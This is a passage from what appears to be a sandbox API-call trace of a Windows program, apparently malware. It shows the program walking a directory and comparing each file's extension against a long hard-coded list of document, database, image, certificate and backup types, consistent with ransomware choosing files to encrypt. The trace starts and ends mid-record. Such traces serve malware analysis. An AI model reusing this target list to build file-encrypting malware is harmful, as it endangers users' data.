nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.364] FindClose (in: hFindFile=0x45a8168 | out: hFindFile=0x45a8168) returned 1 [0265.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46841b8 | out: hHeap=0x540000) returned 1 [0265.364] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0265.364] lstrlenW (lpString="Synchronization.dll") returned 19 [0265.365] lstrlenW (lpString=".1cd") returned 4 [0265.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".3ds") returned 4 [0265.365] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".3fr") returned 4 [0265.365] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".3g2") returned 4 [0265.365] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".3gp") returned 4 [0265.365] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".7z") returned 3 [0265.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0265.365] lstrlenW (lpString=".accda") returned 6 [0265.365] lstrcmpiW (lpString1=".accda", lpString2="on.dll") returned -1 [0265.365] lstrlenW (lpString=".accdb") returned 6 [0265.365] lstrcmpiW (lpString1=".accdb", lpString2="on.dll") returned -1 [0265.365] lstrlenW (lpString=".accdc") returned 6 [0265.365] lstrcmpiW (lpString1=".accdc", lpString2="on.dll") returned -1 [0265.365] lstrlenW (lpString=".accde") returned 6 [0265.365] lstrcmpiW (lpString1=".accde", lpString2="on.dll") returned -1 [0265.365] lstrlenW (lpString=".accdt") returned 6 [0265.365] lstrcmpiW (lpString1=".accdt", lpString2="on.dll") returned -1 [0265.365] lstrlenW (lpString=".accdw") returned 6 [0265.365] lstrcmpiW (lpString1=".accdw", lpString2="on.dll") returned -1 [0265.365] lstrlenW (lpString=".adb") returned 4 [0265.365] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".adp") returned 4 [0265.365] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".ai") returned 3 [0265.365] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0265.365] lstrlenW (lpString=".ai3") returned 4 [0265.365] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".ai4") returned 4 [0265.365] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".ai5") returned 4 [0265.365] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0265.365] lstrlenW (lpString=".ai6") returned 4 [0265.366] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".ai7") returned 4 [0265.366] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".ai8") returned 4 [0265.366] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".anim") returned 5 [0265.366] lstrcmpiW (lpString1=".anim", lpString2="n.dll") returned -1 [0265.366] lstrlenW (lpString=".arw") returned 4 [0265.366] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".as") returned 3 [0265.366] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0265.366] lstrlenW (lpString=".asa") returned 4 [0265.366] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".asc") returned 4 [0265.366] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".ascx") returned 5 [0265.366] lstrcmpiW (lpString1=".ascx", lpString2="n.dll") returned -1 [0265.366] lstrlenW (lpString=".asm") returned 4 [0265.366] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".asmx") returned 5 [0265.366] lstrcmpiW (lpString1=".asmx", lpString2="n.dll") returned -1 [0265.366] lstrlenW (lpString=".asp") returned 4 [0265.366] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".aspx") returned 5 [0265.366] lstrcmpiW (lpString1=".aspx", lpString2="n.dll") returned -1 [0265.366] lstrlenW (lpString=".asr") returned 4 [0265.366] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".asx") returned 4 [0265.366] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".avi") returned 4 [0265.366] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".avs") returned 4 [0265.366] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0265.366] lstrlenW (lpString=".backup") returned 7 [0265.366] lstrcmpiW (lpString1=".backup", lpString2="ion.dll") returned -1 [0265.366] lstrlenW (lpString=".bak") returned 4 [0265.366] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".bay") returned 4 [0265.367] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".bd") returned 3 [0265.367] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0265.367] lstrlenW (lpString=".bin") returned 4 [0265.367] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".bmp") returned 4 [0265.367] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".bz2") returned 4 [0265.367] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".c") returned 2 [0265.367] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0265.367] lstrlenW (lpString=".cdr") returned 4 [0265.367] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".cer") returned 4 [0265.367] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".cf") returned 3 [0265.367] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0265.367] lstrlenW (lpString=".cfc") returned 4 [0265.367] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".cfm") returned 4 [0265.367] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".cfml") returned 5 [0265.367] lstrcmpiW (lpString1=".cfml", lpString2="n.dll") returned -1 [0265.367] lstrlenW (lpString=".cfu") returned 4 [0265.367] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".chm") returned 4 [0265.367] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".cin") returned 4 [0265.367] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".class") returned 6 [0265.367] lstrcmpiW (lpString1=".class", lpString2="on.dll") returned -1 [0265.367] lstrlenW (lpString=".clx") returned 4 [0265.367] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0265.367] lstrlenW (lpString=".config") returned 7 [0265.367] lstrcmpiW (lpString1=".config", lpString2="ion.dll") returned -1 [0265.367] lstrlenW (lpString=".cpp") returned 4 [0265.368] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".cr2") returned 4 [0265.368] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".crt") returned 4 [0265.368] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".crw") returned 4 [0265.368] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".cs") returned 3 [0265.368] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0265.368] lstrlenW (lpString=".css") returned 4 [0265.368] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".csv") returned 4 [0265.368] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".cub") returned 4 [0265.368] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dae") returned 4 [0265.368] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dat") returned 4 [0265.368] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".db") returned 3 [0265.368] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0265.368] lstrlenW (lpString=".dbf") returned 4 [0265.368] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dbx") returned 4 [0265.368] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dc3") returned 4 [0265.368] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dcm") returned 4 [0265.368] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dcr") returned 4 [0265.368] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".der") returned 4 [0265.368] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dib") returned 4 [0265.368] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0265.368] lstrlenW (lpString=".dic") returned 4 [0265.368] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0265.369] lstrlenW (lpString=".dif") returned 4 [0265.369] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0265.369] lstrlenW (lpString=".divx") returned 5 [0265.369] lstrcmpiW (lpString1=".divx", lpString2="n.dll") returned -1 [0265.369] lstrlenW (lpString=".djvu") returned 5 [0265.369] lstrcmpiW (lpString1=".djvu", lpString2="n.dll") returned -1 [0265.369] lstrlenW (lpString=".dng") returned 4 [0265.369] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".doc") returned 4 [0265.369] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".docm") returned 5 [0265.369] lstrcmpiW (lpString1=".docm", lpString2="n.dll") returned -1 [0265.369] lstrlenW (lpString=".docx") returned 5 [0265.369] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0265.369] lstrlenW (lpString=".dot") returned 4 [0265.369] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".dotm") returned 5 [0265.369] lstrcmpiW (lpString1=".dotm", lpString2="n.dll") returned -1 [0265.369] lstrlenW (lpString=".dotx") returned 5 [0265.369] lstrcmpiW (lpString1=".dotx", lpString2="n.dll") returned -1 [0265.369] lstrlenW (lpString=".dpx") returned 4 [0265.369] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".dqy") returned 4 [0265.369] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".dsn") returned 4 [0265.369] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".dt") returned 3 [0265.369] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0265.369] lstrlenW (lpString=".dtd") returned 4 [0265.369] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".dwg") returned 4 [0265.369] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".dwt") returned 4 [0265.369] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0265.369] lstrlenW (lpString=".dx") returned 3 [0265.369] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0265.369] lstrlenW (lpString=".dxf") returned 4 [0265.370] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".edml") returned 5 [0265.370] lstrcmpiW (lpString1=".edml", lpString2="n.dll") returned -1 [0265.370] lstrlenW (lpString=".efd") returned 4 [0265.370] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".elf") returned 4 [0265.370] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".emf") returned 4 [0265.370] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".emz") returned 4 [0265.370] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".epf") returned 4 [0265.370] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".eps") returned 4 [0265.370] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".epsf") returned 5 [0265.370] lstrcmpiW (lpString1=".epsf", lpString2="n.dll") returned -1 [0265.370] lstrlenW (lpString=".epsp") returned 5 [0265.370] lstrcmpiW (lpString1=".epsp", lpString2="n.dll") returned -1 [0265.370] lstrlenW (lpString=".erf") returned 4 [0265.370] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".exr") returned 4 [0265.370] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".f4v") returned 4 [0265.370] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".fido") returned 5 [0265.370] lstrcmpiW (lpString1=".fido", lpString2="n.dll") returned -1 [0265.370] lstrlenW (lpString=".flm") returned 4 [0265.370] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".flv") returned 4 [0265.370] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".frm") returned 4 [0265.370] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".fxg") returned 4 [0265.370] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0265.370] lstrlenW (lpString=".geo") returned 4 [0265.370] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".gif") returned 4 [0265.371] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".grs") returned 4 [0265.371] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".gz") returned 3 [0265.371] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0265.371] lstrlenW (lpString=".h") returned 2 [0265.371] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0265.371] lstrlenW (lpString=".hdr") returned 4 [0265.371] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".hpp") returned 4 [0265.371] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".hta") returned 4 [0265.371] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".htc") returned 4 [0265.371] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".htm") returned 4 [0265.371] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".html") returned 5 [0265.371] lstrcmpiW (lpString1=".html", lpString2="n.dll") returned -1 [0265.371] lstrlenW (lpString=".icb") returned 4 [0265.371] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".ics") returned 4 [0265.371] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".iff") returned 4 [0265.371] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".inc") returned 4 [0265.371] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".indd") returned 5 [0265.371] lstrcmpiW (lpString1=".indd", lpString2="n.dll") returned -1 [0265.371] lstrlenW (lpString=".ini") returned 4 [0265.371] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".iqy") returned 4 [0265.371] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".j2c") returned 4 [0265.371] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0265.371] lstrlenW (lpString=".j2k") returned 4 [0265.372] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".java") returned 5 [0265.372] lstrcmpiW (lpString1=".java", lpString2="n.dll") returned -1 [0265.372] lstrlenW (lpString=".jp2") returned 4 [0265.372] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".jpc") returned 4 [0265.372] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".jpe") returned 4 [0265.372] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".jpeg") returned 5 [0265.372] lstrcmpiW (lpString1=".jpeg", lpString2="n.dll") returned -1 [0265.372] lstrlenW (lpString=".jpf") returned 4 [0265.372] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".jpg") returned 4 [0265.372] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".jpx") returned 4 [0265.372] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".js") returned 3 [0265.372] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0265.372] lstrlenW (lpString=".jsf") returned 4 [0265.372] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".json") returned 5 [0265.372] lstrcmpiW (lpString1=".json", lpString2="n.dll") returned -1 [0265.372] lstrlenW (lpString=".jsp") returned 4 [0265.372] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".kdc") returned 4 [0265.372] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".kmz") returned 4 [0265.372] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".kwm") returned 4 [0265.372] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".lasso") returned 6 [0265.372] lstrcmpiW (lpString1=".lasso", lpString2="on.dll") returned -1 [0265.372] lstrlenW (lpString=".lbi") returned 4 [0265.372] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0265.372] lstrlenW (lpString=".lgf") returned 4 [0265.372] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".lgp") returned 4 [0265.373] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".log") returned 4 [0265.373] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".m1v") returned 4 [0265.373] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".m4a") returned 4 [0265.373] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".m4v") returned 4 [0265.373] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".max") returned 4 [0265.373] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".md") returned 3 [0265.373] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0265.373] lstrlenW (lpString=".mda") returned 4 [0265.373] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mdb") returned 4 [0265.373] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mde") returned 4 [0265.373] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mdf") returned 4 [0265.373] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mdw") returned 4 [0265.373] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mef") returned 4 [0265.373] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mft") returned 4 [0265.373] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mfw") returned 4 [0265.373] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mht") returned 4 [0265.373] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mhtml") returned 6 [0265.373] lstrcmpiW (lpString1=".mhtml", lpString2="on.dll") returned -1 [0265.373] lstrlenW (lpString=".mka") returned 4 [0265.373] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0265.373] lstrlenW (lpString=".mkidx") returned 6 [0265.374] lstrcmpiW (lpString1=".mkidx", lpString2="on.dll") returned -1 [0265.374] lstrlenW (lpString=".mkv") returned 4 [0265.374] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mos") returned 4 [0265.374] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mov") returned 4 [0265.374] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mp3") returned 4 [0265.374] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mp4") returned 4 [0265.374] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mpeg") returned 5 [0265.374] lstrcmpiW (lpString1=".mpeg", lpString2="n.dll") returned -1 [0265.374] lstrlenW (lpString=".mpg") returned 4 [0265.374] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mpv") returned 4 [0265.374] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mrw") returned 4 [0265.374] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".msg") returned 4 [0265.374] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".mxl") returned 4 [0265.374] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".myd") returned 4 [0265.374] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".myi") returned 4 [0265.374] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".nef") returned 4 [0265.374] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".nrw") returned 4 [0265.374] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".obj") returned 4 [0265.374] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".odb") returned 4 [0265.374] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0265.374] lstrlenW (lpString=".odc") returned 4 [0265.374] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".odm") returned 4 [0265.375] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".odp") returned 4 [0265.375] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".ods") returned 4 [0265.375] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".oft") returned 4 [0265.375] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".one") returned 4 [0265.375] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".onepkg") returned 7 [0265.375] lstrcmpiW (lpString1=".onepkg", lpString2="ion.dll") returned -1 [0265.375] lstrlenW (lpString=".onetoc2") returned 8 [0265.375] lstrcmpiW (lpString1=".onetoc2", lpString2="tion.dll") returned -1 [0265.375] lstrlenW (lpString=".opt") returned 4 [0265.375] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".oqy") returned 4 [0265.375] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".orf") returned 4 [0265.375] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".p12") returned 4 [0265.375] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".p7b") returned 4 [0265.375] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".p7c") returned 4 [0265.375] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".pam") returned 4 [0265.375] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".pbm") returned 4 [0265.375] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".pct") returned 4 [0265.375] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".pcx") returned 4 [0265.375] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0265.375] lstrlenW (lpString=".pdd") returned 4 [0265.375] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pdf") returned 4 [0265.376] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pdp") returned 4 [0265.376] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pef") returned 4 [0265.376] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pem") returned 4 [0265.376] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pff") returned 4 [0265.376] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pfm") returned 4 [0265.376] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pfx") returned 4 [0265.376] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pgm") returned 4 [0265.376] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".php") returned 4 [0265.376] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".php3") returned 5 [0265.376] lstrcmpiW (lpString1=".php3", lpString2="n.dll") returned -1 [0265.376] lstrlenW (lpString=".php4") returned 5 [0265.376] lstrcmpiW (lpString1=".php4", lpString2="n.dll") returned -1 [0265.376] lstrlenW (lpString=".php5") returned 5 [0265.376] lstrcmpiW (lpString1=".php5", lpString2="n.dll") returned -1 [0265.376] lstrlenW (lpString=".phtml") returned 6 [0265.376] lstrcmpiW (lpString1=".phtml", lpString2="on.dll") returned -1 [0265.376] lstrlenW (lpString=".pict") returned 5 [0265.376] lstrcmpiW (lpString1=".pict", lpString2="n.dll") returned -1 [0265.376] lstrlenW (lpString=".pl") returned 3 [0265.376] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0265.376] lstrlenW (lpString=".pls") returned 4 [0265.376] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pm") returned 3 [0265.376] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0265.376] lstrlenW (lpString=".png") returned 4 [0265.376] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0265.376] lstrlenW (lpString=".pnm") returned 4 [0265.377] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".pot") returned 4 [0265.377] lstrcmpiW (lpString1=".pot", 